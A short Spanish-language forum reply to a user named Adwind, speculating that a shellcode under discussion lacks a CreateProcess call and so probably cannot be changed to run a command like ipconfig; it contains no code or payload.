Lo que @Adwind quieres si no me equivoco seria algo como a ejemplo ejecutar (cmd.exe c/ Ipconfig ) y para esto necessitaria passar instruciones en CreateProcess ( no presente en este Shellcode por lo poko que pude mirar ) pero no creo que se pueda hacer con este shellcode mismo agregando tal Api en una otra funccion en el code , quizas lo hagas , pero no creo funcionara ao 100 %

Todavia de este foro se hacem magica

Slds

PD ; Bueno Lerte amigo